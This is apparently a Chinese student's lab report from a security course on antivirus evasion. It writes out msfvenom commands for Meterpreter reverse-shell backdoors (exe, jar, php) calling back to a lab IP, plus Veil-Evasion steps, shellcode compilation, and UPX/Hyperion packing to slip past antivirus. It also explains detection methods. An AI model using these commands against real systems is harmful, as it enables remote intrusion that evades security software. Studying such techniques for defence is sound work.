Exp3 免杀原理与实践
20164321 王君陶
1实验要求
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
2实验步骤
检测工具:
首先使用VirusTotal或Virscan这两个网站对上次实验生成的后门程序进行扫描。
virustotal
virscan
2.1任务一
2.1.1正确使用msf编码器,生成exe文件
使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded.exe
利用之前实验所学,将生成的met-encoded.exe传到windows中的ncat文件中再进行检测。
利用virustotal扫描
十次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded10.exe
利用virustotal扫描
2.1.2 msfvenom生成jar文件
成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor_java.jar
利用virustotal扫描
2.1.3 msfvenom生成php文件
生成php后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor.php
(前一个问题就是lport前面少一个空格导致生成的0kb文件,不能粗心啊!)
利用virustotal扫描
2.1.4 使用veil-evasion生成后门程序及检测
这里安装veil多次失败,没办法,拷了同学的kail直接进行试验。
输入命令veil
输入use evasion命令进入Evil-Evasion
输入命令use c/meterpreter/rev_tcp.py进入配置界面
设置反弹连接IP:set LHOST 192.168.253.128 设置端口:set LPORT 4321
再输入options进行展示修改结果
输入generate生成文件
输入payload的名字:veil_c_4321
按enter继续
利用virustotal扫描
2.1.5 半手工注入Shellcode并执行
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=4321 -f c用c语言生成一段shellcode
把上面的数组拿来编写一个程序,用vi 4321_shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数
进入编辑器进行编辑
再用i686-w64-mingw32-g++ 20164321_shellcode.c -o 20164321_shellcode.exe命令生成可执行文件
利用virustotal扫描
实现与杀软共存
生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。
2.1.6 加壳
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。 MSF的编码器使用类似方法,对shellcode进行再编码。
从技术上分壳分为:
压缩壳
减少应用体积,如ASPack,UPX
加密壳
版权保护,反跟踪。如ASProtect,Armadillo
虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
2.1.6.1 压缩壳UPX
Kali下输入命令upx 20164321_shellcode.exe -o 20164321_shellcode_upxed.exe
扫描结果
2.1.6.2加密壳Hyperion
进入目录/usr/share/windows-binaries/hyperion/中;输入命令wine hyperion.exe -v 20164321_shellcode_upxed.exe 20164321_shellcode_upxed_Hyperion.exe进行加壳
再传出来进行扫描检测
2.2通过组合应用各种技术实现恶意代码免杀
如任务一中的5与6组合之后,既Shellcode与加壳,组合之后进行反弹连接,并实现了与杀软共存
在windows中点击执行
实现与杀软共存
2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
免杀失败QAQ
3基础问题回答
3.1杀软是如何检测出恶意代码的?
基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
3.2免杀是做什么?
免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。
3.3免杀的基本方法有哪些?
改变特征码
如果你手里只有EXE
加壳:压缩壳 加密壳
有shellcode(像Meterpreter)
用encode进行编码 基于payload重新编译生成可执行文件
有源代码
用其他语言进行重写再编译(veil-evasion)
改变行为
通讯方式
尽量使用反弹式连接 使用隧道技术 加密通讯数据
操作模式
基于内存操作 减少对系统的修改 加入混淆作用的正常功能
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中 使用社工类攻击,诱骗目标关闭AV软件 纯手工打造一个恶意软件
3.4开启杀软能绝对防止电脑中恶意代码吗?
从这次的实验可以看出来,杀软是不能绝对防止电脑中的恶意代码的,比如说在VirusTotal或Virscan这两个网站中测试的时候,就发现有很多杀毒软件无法检测出恶意代码,毕竟道高一尺魔高一丈,随着病毒库的不断更新,恶意代码也在不断通过各种方法来使自己免杀,所以说杀软是不能绝对防止电脑中的恶意代码的。
4实验遇到的问题
在这次实验之中遇到的最大问题就是安装不上veil,刚开始因为坑爹的学校网,下载速度极慢,下载完成之后,解压又出现问题,实在没办法,找张哲键同学直接把他完成实验的虚拟机拷过来了,然后才进行的实验。
5实验心得
这次实验让我的最大体会就是腾讯管家是真的辣鸡啊,windows defender和火绒都可以杀掉的恶意代码,腾讯管家就不行,之前还在自己电脑装上了腾讯管家感觉电脑安全万无一失,实际发现这个做法非常之蠢,不如不装杀软,用windows自带的windows defender呢,赶紧卸载一波!。